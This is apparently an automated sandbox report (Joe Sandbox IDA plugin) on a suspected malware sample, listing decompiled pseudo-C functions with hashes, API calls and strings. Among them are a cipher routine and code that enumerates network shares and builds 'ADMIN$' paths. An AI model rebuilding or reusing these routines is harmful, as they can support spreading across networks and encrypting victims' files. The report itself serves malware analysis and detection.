Instruction ID: ef82de446250e026b07c308ec7f906b932638c067f1ace5dba95fccb073737c9
Opcode Fuzzy Hash: 292b34ea04606392cb263cc7627915a2d8516a2af77aa2fa7955621c83bb84b0
Instruction Fuzzy Hash: 3E21B1B3724A8986CB0CCE25E8146ADB761F35CBC4F089226EE4A57B48DA3DD951C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37394C0 Relevance: .1, Instructions: 68
COMMONCrypto

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF7E37394C0(signed int __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rdi, long long __rsi, signed int __r8, void* __r9, signed int __r10, long long _a8, long long _a16, long long _a24) {
				signed int _t44;
				signed int _t50;
				signed int _t51;
				signed long long _t68;
				unsigned long long _t89;

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				r10d =  *((intOrPtr*)(__rcx + 4));
				r8d =  *__rcx;
				_t89 = __r10 ^ __rax;
				r9d =  *(__rdx + 4) & 0x000000ff;
				_t68 = _t89 >> 8;
				_t50 = (( *(__r9 + 0x7ff7e375d050) & 0x000000ff | ( *((_t89 >> 0x18) + 0x7ff7e375d150) & 0x000000ff) << 0x00000008) << 0x00000008 |  *(__rcx + 0x7ff7e375cdf0) & 0x000000ff) << 0x00000008 |  *(_t68 + 0x7ff7e375cf50) & 0x000000ff;
				_t86 = __r8 ^ _t68;
				r9d = _t50;
				asm("inc ecx");
				r9d = r9d ^ ((( *(__rcx + 0x7ff7e375d150) & 0x000000ff | ( *(((__r8 ^ _t68) >> 0x18) + 0x7ff7e375cf50) & 0x000000ff) << 0x00000008) << 0x00000008 |  *(__rcx + 0x7ff7e375d050) & 0x000000ff) << 0x00000008 |  *((_t86 >> 8) + 0x7ff7e375cdf0) & 0x000000ff);
				asm("rol eax, 0x10");
				_t51 = _t50 ^ r9d;
				asm("ror eax, 0x8");
				r9d = r9d ^ _t51;
				 *(__r8 + 4) =  *(__r8 + 4) ^ r9d;
				asm("ror eax, 0x8");
				_t44 = r9d ^  *__r8 ^ _t51;
				 *__r8 = _t44;
				return _t44;
			}

0x7ff7e37394c0
0x7ff7e37394c5
0x7ff7e37394ca
0x7ff7e37394d9
0x7ff7e37394e0
0x7ff7e37394e3
0x7ff7e37394ed
0x7ff7e3739511
0x7ff7e3739534
0x7ff7e3739538
0x7ff7e373953b
0x7ff7e3739541
0x7ff7e3739595
0x7ff7e373959b
0x7ff7e373959e
0x7ff7e37395a2
0x7ff7e37395a5
0x7ff7e37395a8
0x7ff7e37395af
0x7ff7e37395b4
0x7ff7e37395bb
0x7ff7e37395c2

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 206573450c207e3a54bfc6d7d37facca400d42bdcd8731a31b3b5b8d95ba22e6
Instruction ID: c876b3a96d864adcc7289bf82ee7c2a47a672fe2a1fa76d00e9c26fafc8dcbcb
Opcode Fuzzy Hash: 206573450c207e3a54bfc6d7d37facca400d42bdcd8731a31b3b5b8d95ba22e6
Instruction Fuzzy Hash: 15217F627143E45AA740CA7E68905AD7FD0F3C9B823448526EFE9D3B56C63CD212D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E374A3F0 Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00007FF77FF7E374A3F0(intOrPtr __ebx, intOrPtr __edx, signed int __rax, signed int __rdx, void* __r8, signed long long _a8) {
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _t25;

				_t25 = __r8;
				r8d = 0;
				 *0xe3765858 = r8d;
				_t1 = _t25 + 1; // 0x1
				r9d = _t1;
				asm("cpuid");
				_v16 = r9d;
				_v16 = 0;
				_v20 = __ebx;
				_v12 = __edx;
				if (0 != 0x18001000) goto 0xe374a451;
				asm("xgetbv");
				_a8 = __rdx << 0x00000020 | __rax;
				r8d =  *0xe3765858; // 0x1
				r8d =  ==  ? r9d : r8d;
				 *0xe3765858 = r8d;
				 *0xe376585c = r8d;
				return 0;
			}

0x7ff7e374a3f0
0x7ff7e374a3f6
0x7ff7e374a3fb
0x7ff7e374a402
0x7ff7e374a402
0x7ff7e374a409
0x7ff7e374a40b
0x7ff7e374a413
0x7ff7e374a419
0x7ff7e374a41d
0x7ff7e374a423
0x7ff7e374a427
0x7ff7e374a431
0x7ff7e374a43b
0x7ff7e374a446
0x7ff7e374a44a
0x7ff7e374a451
0x7ff7e374a45f

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d67a6b5123ffc87ca5c1d9888e3e02c282e52c20baa3889f41f83fef183648b4
Instruction ID: 6d34fca3d3576fcbbc956209394f2b712c96eb96ac23509a332718425964a5f1
Opcode Fuzzy Hash: d67a6b5123ffc87ca5c1d9888e3e02c282e52c20baa3889f41f83fef183648b4
Instruction Fuzzy Hash: B2F068717382D68ADBD49F2CA4927297BE0E70C394F90903ED68D83F04D63C90609F15

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373B340 Relevance: .0, Instructions: 2
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E373B340() {

				goto ( *0xe374c308);
			}

0x7ff7e373b347

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0eef5261478aeed7a277e6a7725ab17112e197c13b4eb0e59fefacc1badaf67
Instruction ID: b3b9099f1d174a83d6ba8fd3709ebfa1ad2c620de6c6022363ec56a179ab0559
Opcode Fuzzy Hash: c0eef5261478aeed7a277e6a7725ab17112e197c13b4eb0e59fefacc1badaf67
Instruction Fuzzy Hash: 12A00162908916E0F684AB01A8D4270BF20EB5C700B840033E00D610A5AE7DA4608223

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3711810 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 63filestringCOMMON

Download Yara Rule

APIs

RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371182F
wsprintfA.USER32 ref: 00007FF7E3711844
lstrlen.KERNEL32 ref: 00007FF7E371184D
WriteFile.KERNEL32 ref: 00007FF7E371186C
WriteFile.KERNEL32 ref: 00007FF7E371188E
lstrlen.KERNEL32 ref: 00007FF7E3711899
WriteFile.KERNEL32 ref: 00007FF7E37118B8
WriteFile.KERNEL32 ref: 00007FF7E37118DA
lstrlen.KERNEL32 ref: 00007FF7E37118E3
WriteFile.KERNEL32 ref: 00007FF7E3711900
WriteFile.KERNEL32 ref: 00007FF7E3711922
RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E371192F

Strings

, Error Code: , xrefs: 00007FF7E3711887
-> , xrefs: 00007FF7E37118D3
%lu, xrefs: 00007FF7E3711838

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: FileWrite$lstrlen$AcquireCriticalLeaveLockSectionwsprintf
String ID: -> $%lu$, Error Code:
API String ID: 1919557354-1423612639
Opcode ID: 3bc0ee8f81ba81ec7357e6072776f92879d51c908bdfe63f49fa08141489572d
Instruction ID: e3d2b3e0f5000c5ace53664ae325445bd39cc89e5a2a35df54178d124a5d0375
Opcode Fuzzy Hash: 3bc0ee8f81ba81ec7357e6072776f92879d51c908bdfe63f49fa08141489572d
Instruction Fuzzy Hash: 4931FE31618A47A2E750EF15F894669BB61FB88B94B800133D94D53A34DF3CE169CB12

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3742A30 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E3742A30(void* __edx, char* __r8, void* __r9) {
				signed long long _t9;
				signed long long _t10;
				void* _t15;

				_t9 =  *0xe3764018; // 0xf7df8d81ad38
				_t10 = _t9 ^ _t15 - 0x000000c0;
				 *(_t15 - 0x4f + 0x3f) = _t10;
				if (__r9 - _t10 + 4 >= 0) goto 0xe3742a7c;
				 *__r8 = 0;
				E00007FF77FF7E374AB20();
				return 0xc;
			}

0x7ff7e3742a3e
0x7ff7e3742a45
0x7ff7e3742a48
0x7ff7e3742a5c
0x7ff7e3742a5e
0x7ff7e3742a6e
0x7ff7e3742a7b

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E3742BAD

Strings

nan(snan), xrefs: 00007FF7E3742AD0
NAN, xrefs: 00007FF7E3742A91
inf, xrefs: 00007FF7E3742AB6
nan(ind), xrefs: 00007FF7E3742AE6
INF, xrefs: 00007FF7E3742AA3
nan, xrefs: 00007FF7E3742A98
NAN(SNAN), xrefs: 00007FF7E3742AC5
NAN(IND), xrefs: 00007FF7E3742ADB

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: 78967fb3da7a7f6cc278fab0e9d0fe2697cd88ff03e0608307b7eeb8a8a3727c
Instruction ID: 4f0fe9a466ed13a14be2109afe98359d32df1f9ebc0def2d1a7464b25501aa65
Opcode Fuzzy Hash: 78967fb3da7a7f6cc278fab0e9d0fe2697cd88ff03e0608307b7eeb8a8a3727c
Instruction Fuzzy Hash: 5D41BD72B05B4589F740DF24E8817AE7BA4EB08388F804136EE9C63B55DE38E035C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3713730 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 72
stringCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E00007FF77FF7E3713730(long long __rbx, void* __rcx, void* _a8, char _a16, char _a24, char _a32) {
				char _v232;
				char _v248;
				long long _v264;
				long long _v272;
				long long _v280;
				void* __rdi;
				void* _t34;
				void* _t35;
				void* _t40;
				WCHAR* _t72;
				WCHAR* _t74;
				WCHAR* _t76;
				void* _t79;
				void* _t83;
				void* _t84;
				void* _t85;
				void* _t86;
				void* _t87;

				_t84 = _t79;
				 *((long long*)(_t84 + 8)) = __rbx;
				 *((intOrPtr*)(_t84 + 0x10)) = 0;
				 *((intOrPtr*)(_t84 + 0x20)) = 0;
				 *((intOrPtr*)(_t84 + 0x18)) = 0;
				r9d = r9d | 0xffffffff;
				_v264 =  &_a24;
				_v272 =  &_a32;
				_v280 =  &_a16;
				 *0xe374c3f8();
				if (0 == 0) goto 0xe37137a1;
				if (0 != 0xea) goto 0xe3713862;
				if (_a16 - 1 < 0) goto 0xe371384d;
				if (( *(_v248 + 8) & 0x7fffffff) != 0) goto 0xe3713835;
				if (lstrlenW(_t72) - 2 <= 0) goto 0xe3713835;
				if (lstrcmpW(_t74) == 0) goto 0xe3713835;
				lstrcpyW(_t76);
				lstrcatW(??, ??);
				lstrcatW(??, ??);
				lstrcatW(??, ??);
				E00007FF77FF7E37130B0(_t35, _t40,  &_v232, _t72,  &_v248, _t83, _t85, _t86, _t87);
				if (2 - _a16 <= 0) goto 0xe37137c0;
				_t34 =  *0xe374c400();
				if (0 == 0xea) goto 0xe3713752;
				return _t34;
			}

0x7ff7e3713730
0x7ff7e3713733
0x7ff7e3713746
0x7ff7e371374a
0x7ff7e371374e
0x7ff7e371375a
0x7ff7e371375e
0x7ff7e3713775
0x7ff7e3713785
0x7ff7e371378a
0x7ff7e3713794
0x7ff7e371379b
0x7ff7e37137b2
0x7ff7e37137c7
0x7ff7e37137d5
0x7ff7e37137e9
0x7ff7e37137f7
0x7ff7e3713805
0x7ff7e3713817
0x7ff7e3713825
0x7ff7e3713830
0x7ff7e3713842
0x7ff7e3713850
0x7ff7e371385c
0x7ff7e3713874

APIs

00007FFD5AB416D0.NETAPI32 ref: 00007FF7E371378A
lstrlenW.KERNEL32 ref: 00007FF7E37137CC
lstrcmpW.KERNEL32 ref: 00007FF7E37137E1
lstrcpyW.KERNEL32 ref: 00007FF7E37137F7
lstrcatW.KERNEL32 ref: 00007FF7E3713805
lstrcatW.KERNEL32 ref: 00007FF7E3713817
lstrcatW.KERNEL32 ref: 00007FF7E3713825
00007FFD6C4E1050.NETAPI32 ref: 00007FF7E3713850

Strings

ADMIN$, xrefs: 00007FF7E37137DA

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: lstrcat$00007$B416E1050lstrcmplstrcpylstrlen
String ID: ADMIN$
API String ID: 2986509873-2625189398
Opcode ID: ab8855eb3fc3d76fe0ed6c60a956297d282554ed662f2ca4c464e45306353424
Instruction ID: e3168abca98650a1841fb01a8d7e98f93033e8dcd5da11b60f59952e95bd67ae
Opcode Fuzzy Hash: ab8855eb3fc3d76fe0ed6c60a956297d282554ed662f2ca4c464e45306353424
Instruction Fuzzy Hash: 1D314372A08A82D6FB90AF14E4C03AAB7A0FB88B54F944133DA5D53654DF7CE954C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3713610 Relevance: 9.1, APIs: 6, Instructions: 63memoryshareCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR ref: 00007FF7E371363A
RtlAllocateHeap.KERNEL32 ref: 00007FF7E3713670
WNetEnumResourceW.MPR ref: 00007FF7E3713690

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: Enum$AllocateHeapOpenResource
String ID:
API String ID: 610883648-0
Opcode ID: 4f78e1c9f8dd6625fe0054415e463f71f5e0c0ef0a76837152aa274b76310c8a
Instruction ID: eaf0f911fa49d297506baa75c3aa008fb1e4e913c7d43de8782820627ea8f769
Opcode Fuzzy Hash: 4f78e1c9f8dd6625fe0054415e463f71f5e0c0ef0a76837152aa274b76310c8a
Instruction Fuzzy Hash: 68316D72608A8282E780AF55E4D03AAFB60FB88B94F904132DF4D53768DF3CE559CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37112A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF7E37112B7
GetProcAddress.KERNEL32 ref: 00007FF7E37112C7
GetCurrentProcess.KERNEL32 ref: 00007FF7E37112D5

Strings

IsWow64Process, xrefs: 00007FF7E37112C0
kernel32.dll, xrefs: 00007FF7E37112AC

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: 0d74826acf86d422852c27eadb54b6e40e72965a0683be20a9f1e450d0ed9b5d
Instruction ID: c8e3482be75d8739092579a7ac8831c1ccfd05d761b5e6455ad7da5154d7b33f
Opcode Fuzzy Hash: 0d74826acf86d422852c27eadb54b6e40e72965a0683be20a9f1e450d0ed9b5d
Instruction Fuzzy Hash: DDF0683171964193EA88AB15F4C0179B7A0FF8C740B841137EA5E53724DF3CD491CA11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373F56C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7E373F58C
GetProcAddress.KERNEL32 ref: 00007FF7E373F5A2
FreeLibrary.KERNEL32 ref: 00007FF7E373F5C7

Strings

CorExitProcess, xrefs: 00007FF7E373F59B
mscoree.dll, xrefs: 00007FF7E373F583

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a08a92e10104144c8c36025168bdd01f53f7c6d032b94b04f6feb59a8a9b55c8
Instruction ID: d608679c10f43e5d4cd71f52efdb0b75a2a5cbabbec5f58a209af3f964febf59
Opcode Fuzzy Hash: a08a92e10104144c8c36025168bdd01f53f7c6d032b94b04f6feb59a8a9b55c8
Instruction Fuzzy Hash: EDF03131A19A4291FE84AB51F4D4379BBA0AF8CB90F841036D95F56664DE3CE454C622

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E374993C Relevance: 7.8, APIs: 5, Instructions: 265
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E00007FF77FF7E374993C(signed int __ebx, signed int __esi, intOrPtr* __rcx, long long __rdx, intOrPtr* __r9) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				int _t64;
				int _t68;
				intOrPtr _t79;
				intOrPtr _t80;
				signed long long _t150;
				intOrPtr* _t153;
				intOrPtr* _t155;
				signed long long _t156;
				intOrPtr* _t169;
				signed long long _t176;
				signed long long _t177;
				signed long long _t178;
				signed long long _t179;
				intOrPtr* _t195;
				signed long long _t200;
				void* _t201;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t211;
				void* _t215;
				void* _t216;
				long long _t217;
				intOrPtr* _t219;

				_t202 = _t201 - 0x88;
				_t1 = _t202 + 0x50; // -23
				_t200 = _t1;
				_t150 =  *0xe3764018; // 0xf7df8d81ad38
				 *(_t200 + 0x28) = _t150 ^ _t200;
				r12d = 0;
				_t219 =  *((intOrPtr*)(_t200 + 0xa8));
				 *_t200 = r8d;
				 *((long long*)(_t200 + 8)) = __rdx;
				if (__ebx <= 0) goto 0xe37499af;
				E00007FF77FF7E37491F4(_t150 ^ _t200, __r9,  *((intOrPtr*)(_t200 + 0xa0)));
				if (__esi <= 0) goto 0xe37499bb;
				E00007FF77FF7E37491F4(_t150 ^ _t200, _t219,  *((intOrPtr*)(_t200 + 0xb0)));
				goto 0xe37499c0;
				if (__ebx - 0xffffffff >= 0) goto 0xe3749994;
				goto 0xe3749cb1;
				if (__esi - 0xffffffff < 0) goto 0xe37499b4;
				r14d =  *((intOrPtr*)(_t200 + 0xb8));
				if (r14d != 0) goto 0xe37499d3;
				r14d =  *((intOrPtr*)( *__rcx + 0xc));
				if (__ebx == 0) goto 0xe37499e4;
				if (__esi != 0) goto 0xe3749a7f;
				if (__ebx != __esi) goto 0xe37499f2;
				goto 0xe3749cb1;
				if (__esi - 1 <= 0) goto 0xe37499fd;
				goto 0xe3749cb1;
				if (__ebx - 1 <= 0) goto 0xe3749a0b;
				goto 0xe3749cb1;
				if (GetCPInfo(??, ??) == 0) goto 0xe37499b4;
				if (__ebx <= 0) goto 0xe3749a4b;
				if ( *((intOrPtr*)(_t200 + 0x10)) - 2 < 0) goto 0xe3749a01;
				_t12 = _t200 + 0x16; // -1
				_t153 = _t12;
				if ( *((intOrPtr*)(_t200 + 0x16)) == r12b) goto 0xe3749a01;
				if ( *((intOrPtr*)(_t153 + 1)) == r12b) goto 0xe3749a01;
				_t79 =  *__r9;
				if (_t79 -  *_t153 < 0) goto 0xe3749a42;
				if (_t79 -  *((intOrPtr*)(_t153 + 1)) <= 0) goto 0xe37499e8;
				goto 0xe3749a2e;
				if (__esi <= 0) goto 0xe3749a7f;
				if ( *((intOrPtr*)(_t200 + 0x10)) - 2 < 0) goto 0xe37499f6;
				_t17 = _t200 + 0x16; // -1
				_t155 = _t17;
				if ( *((intOrPtr*)(_t200 + 0x16)) == r12b) goto 0xe37499f6;
				if ( *((intOrPtr*)(_t155 + 1)) == r12b) goto 0xe37499f6;
				_t80 =  *_t219;
				if (_t80 -  *_t155 < 0) goto 0xe3749a76;
				if (_t80 -  *((intOrPtr*)(_t155 + 1)) <= 0) goto 0xe37499e8;
				_t156 = _t155 + 2;
				goto 0xe3749a5d;
				 *(_t202 + 0x28) = r12d;
				r9d = __ebx;
				 *((long long*)(_t202 + 0x20)) = _t217;
				_t64 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_t64 == 0) goto 0xe37499b4;
				_t192 = _t64 + _t64;
				_t22 = _t192 + 0x10; // 0x10
				asm("dec eax");
				if ((_t22 & _t156) == 0) goto 0xe3749b39;
				_t25 = _t192 + 0x10; // 0x10
				_t176 = _t25;
				asm("dec eax");
				_t26 = _t192 + 0x10; // 0x10
				if ((_t156 & _t176) - 0x400 > 0) goto 0xe3749b17;
				asm("dec eax");
				_t177 = _t176 & _t26;
				_t27 = _t177 + 0xf; // 0x1f
				if (_t27 - _t177 > 0) goto 0xe3749af5;
				E00007FF77FF7E374ADF0(r14d, 0xffffffffffffff0, _t177, _t64 + _t64, 0xfffffff0, _t215, _t216);
				_t203 = _t202 - 0xfffffff0;
